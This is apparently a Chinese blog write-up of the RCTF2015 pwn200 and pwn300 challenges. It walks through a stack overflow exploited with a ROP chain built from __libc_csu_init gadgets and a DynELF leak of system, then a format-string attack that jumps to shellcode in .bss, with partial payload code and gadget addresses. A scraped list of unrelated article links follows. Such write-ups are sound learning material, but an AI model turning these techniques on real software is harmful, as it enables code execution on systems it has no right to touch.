RCTF2015 pwn试题分析
pwn200
漏洞给的很明显,先是读到了main的局部数组中,然后在子函数中向子函数的局部数组栈里复制。
总体思路是leak system的地址,然后再向一个固定地址写入/bin/sh,最后执行system函数
leak使用pwn库的DynELF实现,整体使用rop链。
//ida伪代码
int __fastcall echo(__int64 a1)
{
char s2[]; // [sp+10h] [bp-10h]@2 for ( i = ; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = ;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}
这里是把数据复制过来,但是他的判断条件是byte!='\x00',就是说如果有'\x00'就会停止复制。
这个就很蛋疼,因为肯定会有00啊。00这个是无法避免的。
先说一下,这道题是x64环境+nx保护。就是说可以用通用gadget来实现rop的。
如果不考虑那个截断的事情的话exp是这样的,
exp='A'*24
exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret
exp+=p64(0) #令pop rbx为0,使得call正确执行
exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果
exp+=p64(write@got) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。
exp+=p64(8) #pop r13 3号参数了
exp+=p64(leak adress)#pop r14 2号参数了
exp+=p64(1)#pop r15 1号参数了
exp+=p64(0x)#这个就跳去执行call了
exp+='A' * 56 #这是共抬了56个字节的栈
exp+=p64(0x4007cd) #从头
开始了
上面那个就是正常的利用__libc_csu_init的通用跳板进行rop的方法。我们看一下这样行不行?明显不行会断在exp+=p64(0)这里。但是由于main栈里也有,就再构造一个pop4ret去读main的栈了。
这样就可以成功的不受'\x00'限制了。不过我觉得这个应该是设计的比较好,因为如果距离不是32字节是96字节怎么办?不会有pop12ret吧?
接下来的任务就是构造rop链,实现写入/bin/sh和执行sysem了,这时假设我们已经leak出system的地址了。
exp='A'*24
exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret
exp+=p64(0) #令pop rbx为0,使得call正确执行
exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果
exp+=p64(system) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。
exp+=p64(8) #pop r13 3号参数了
exp+=p64(save adress)#pop r14 2号参数了
exp+=p64(1)#pop r15 1号参数了
exp+=p64(0x0400880)#这个就跳去执行call了
exp+='A' * 56 #这是共抬了56个字节的栈
exp+=p64(0x4007cd)# 可见套路都是一样的
注意要把leak 出来的system写到一个可知的地址才可以使用。
最后再来一遍
exp='A'*24
exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret
exp+=p64(0) #令pop rbx为0,使得call正确执行
exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果
exp+=p64(save adress) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。
exp+=p64(0) #pop r13 3号参数了
exp+=p64(0)#pop r14 2号参数了
exp+=p64(save adress+8)#pop r15 1号参数了
exp+=p64(0x0400880)#这个就跳去执行call了
exp+='A' * 56 #这是共抬了56个字节的栈
exp+=p64(0x4007cd)# 可见套路都是一样的
下面来实际的调试一下,用gdb加载程序,在0x400750处下断点,这是复制的指令,在这里可以看到复制在栈中的起点,不要相信IDA的栈结构那个是不准的,得自己调试来看。
由图可知要3*8=24byte。再来确定下main函数的buf的位置距离这里有多远。发现其实就在紧接着栈顶的地方。那么我们就要构造rop去生成一个leak函数了。首先找一下可以使用的rop指令
由图就可以看出来,其实能用的只有0x40089A这么一个地方。x64参数不是用栈传的而是用寄存器传的,那么就该用我们上面说的所谓的gadgets了。http://www.cnblogs.com/Ox9A82/p/5487725.html 这里写了如何使用,上面也描述了,我们直接上。
'A'*24+
p64(POP4RET)+ #为了跳过上面那24个A+这个本身
P64(gad1)+ #0x40089A
p64(0)+
p64(1)+
p64(puts)+
p64(0)+
p64(0)+
p64(address)+
p64(gad2)+ #0x400880
'A'*56+
p64(main)
pwn300
这是个格式化字符串的题。但是,不是常见的那种格式化字符串漏洞。首先,格式化字符串是存在堆里的,没有办法直接去读格式化串。其次,每次触发格式化函数都执行了一次,没有办法在栈里构造跳板。
但是也有优点,就是会往一个bss段里读入数据,如果是想构造/bin/sh还是很方便的。
由于不能读到格式化串,所以就无法实现任意地址写入。
这是执行到触发格式化字符串漏洞的函数时的完整栈帧情况。
可见,这时栈里没有什么搞头。如果可以连续执行两次漏洞函数,那么就可以利用0xbffff44c这个值在栈里构造跳板,但是这里只能执行一次栈帧就释放了,不可能构造跳板。
然后,我就不知道怎么做了= =
看了一波六星的writeup,他是这么写的
上图是复旦六星的writeup。
它的意思是还是要在栈上构造一个跳板。但是这需要在此函数中有两次调用漏洞函数的机会。
这是怎么回事呢?我先理一理,这个程序用push ret写法搞的很讨厌,因为F5后不能清晰的看到流程,搞的很乱。
理一下程序流程:
- 循环:获取输入(到.bss:0804A0A0 ; char s[2048])
- 循环:进行解码
- 循环:解密结果输出到bss段(.bss:0804A8A0 ; char byte_804A8A0[2048])
- 循环:进行解码
- 循环:触发漏洞函数
- 循环:输出bss段的结果
可见bss段适合放一些/bin/sh这类的乱七八糟的东西。
但是怎么劫持eip呢?这么一看还真是在栈中构造跳板,我之前说只调用一次栈帧就释放了。居然没想到利用main函数的栈帧。。。。
这就十分尴尬了。但是还有问题就是栈的位置怎么确定?leak是可以看到的栈的位置的但是感觉太麻烦。但是。。。。好像也只能leak了啊~
因为要写地址进去的,不获取栈的准确地址是不可能的。而且这不是缓冲区溢出那种漏洞可以构造rop链的,就是说既使我控制了eip也不能够实现控制参数,那索性就直接把shellcode写入bss段中了,(注意,这道题没有NX保护,故可以在bss段里执行shellcode)
直接蹦过去执行算了。
那么思路就是:
1.构造leak栈地址的格式化符,发送过去
2.在main函数的栈帧用接收的leak地址构造跳板
3.把shellcode做base64加密传进去,使shellcode存在于bss段中
4.最后构造使用跳板的格式化串,修改返回地址到bss段的shellcode中。
这样有一个问题就是shellcode会被盖住一部分,我想只要错开一个偏移应该就可以了吧。
最蛋疼的是六星居然没有放exp出来,网上也搜不到这道题的exp,为了验证自己的想法只好自己写了。
以下是详细的解题过程,首先看下call _snprintf时栈的情况,如下图所示。我们要做的就是先向红圈地址写入0xbffff0c8。作为跳板来改变返回地址。
那这里使用的就是"%134520872x%20$n",根据程序设定进行base64后是。
这里写一些welpwn的exp编写过程,首先考虑的是跳到主函数的栈祯中执行。在IDA中搜索pop指令,找到如下一处位置
.text:000000000040089A pop rbx
.text:000000000040089B pop rbp
.text:000000000040089C pop r12
.text:000000000040089E pop r13
.text:00000000004008A0 pop r14
.text:00000000004008A2 pop r15
.text:00000000004008A4 retn
对.text:00000000004007CC retn下断点,看下返回时堆栈距离main有多远。
RCTF2015 pwn试题分析的更多相关文章
- ZCTF2015 pwn试题分析
ZCTF的pwn赛题分析, PWN100 这道题与SCTF的pwn100玩法是一样的,区别在于这个要过前面的几个限制条件.不能触发exit(0).否则就不能实现溢出了. 依然是触发canary来lea ...
- SCTF 2015 pwn试题分析
Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码 ...
- 使用java理解程序逻辑 试题分析
1.编译Java Applet源程序文件产生的字节码文件的扩展名为() A:.java B..class C:Html D:Exe 正确答案:B 试题分析: 本题考查的是Java程序的开发过程.J ...
- 从一道面试题分析javascript闭包
据说是一不注意就会做错的五道javascript面试题之一,我们来看看这道题长什么样 function Container( properties ) { var objthis = this; fo ...
- java android面试题分析总结
本文参考多处,一并感谢! http://www.blogjava.net/fanyingjie/archive/2007/06/27/126467.aspx http://baike.baidu.co ...
- MySQL高级知识(七)——索引面试题分析
前言:该篇随笔通过一些案例,对索引相关的面试题进行分析. 0.准备 #1.创建test表(测试表). drop table if exists test; create table test( id ...
- SCTF 2014 pwn题目分析
因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...
- 某大型企业ospf面试题分析(含路由策略和路由过滤,及双点双向重发布)
面试问题背景 本面试题来自国内最大通信技术公司之一,央企,有很多金融网项目. 了解行业的同学,一定知道事哪个企业. 上面试问题(取自百哥收集整理的面试总结大全,关注百哥CSDN或知乎,不定期分享名企面 ...
- iOS面试必看经典试题分析
> **不用临时变量怎么实现两个数据的交换?** 方式一:加减法的运算方式求解new_b = a - b + b = a;new_a = a + b - a = b;一个简单的运算方式,最重要的 ...
随机推荐
- WinterCamp2017吃饭睡觉记
noip考完后励志好好学习进HE队然后Au,就这样每天勤奋刻苦发愤图强不知不觉就到冬令营了. 除了我之外的大佬们都是以上经历. 我呢……一个很爱浪的蒟蒻. 冬令营到了,伟大的CCF本着报一个录一个的原 ...
- 「Vue」v-xxx 标签
v-cloak:v-text:插值表达式v-html:v-bind:提供用于绑定属性的指令,可以简写为:,可以写合法的JS表达式v-on:事件绑定,可以简写为@,v-model 只能应用在表单元素中 ...
- GO_07:GO语言基础之method
方法 method 1. Go 中虽没有 class,但依旧有 method 2. 通过显示说明 receiver 来实现与某个类型的组合 3. 只能为同一个包中的类型定义方法 4. Receiver ...
- Excel 之 字符串截取、拼接、和透视表
假设有表如下: 如何得到E列的数据(格式为模式名.表名,如PDM_DATA.T05_GMS_NAV_SPV_PCH_RDM_TRX_EVT)?如何由E列得到F列数据(从E类中截取表名)? 1. 字符串 ...
- 科学计算三维可视化---TVTK入门(创建和显示三维对象)
一:创建一个基本的三维对象 (一)长方体操作 traits:就是TVTK对象的属性 (1)对象属性操作 >>> from tvtk.api import tvtk >>& ...
- Mongodb 笔记01 MongoDB 简介、MongoDB基础知识、启动和停止MongoDB
MongoDB 简介 1. 易于使用:没有固定的模式,根据需要添加和删除字段更加容易 2. 易于扩展:MongoDB的设计采用横向扩展.面向文档的数据模型使它能很容易的再多台服务器之间进行分割.自动处 ...
- Linux_用户管理&权限管理
2017年1月11日, 星期三 Linux_用户管理&权限管理 1. Linux用户管理&权限管理 终端的概念: tty 查看登录的终端 类型 user group oth ...
- [整理]C语言中的static静态对象
1.说明外部对象(静态外部变量和静态函数) (1)static 用于说明外部变量或函数,使该对象的作用域限定为被编译原文件的剩余部分,即从对象说明开始到所在源文件的结束部分: (2)被st ...
- jquery中美元符号命名冲突问题解决
在Jquery中,$是JQuery的别名,所有使用$的地方也都可以使用JQuery来替换,如$('#msg')等同于JQuery('#msg') 的写法.然而,当我们引入多个js库后,在另外一个js库 ...
- 网络爬虫框架Heritrix中Modules的各项说明
1)Select Crawl Scope:Crawl Scope 用于配置当前应该在什么范围内抓取网页链接.例如选择 BroadScope 则表示当前的抓取范围不受限制,选择 HostScope 则表 ...